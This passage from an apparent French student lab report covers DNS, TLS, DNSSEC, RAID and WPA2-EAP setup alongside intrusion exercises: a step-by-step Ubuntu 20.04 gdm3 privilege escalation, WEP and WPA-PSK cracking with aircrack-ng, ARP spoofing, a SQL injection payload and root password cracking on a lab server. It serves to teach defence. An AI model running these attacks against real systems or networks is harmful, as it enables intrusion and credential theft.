Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
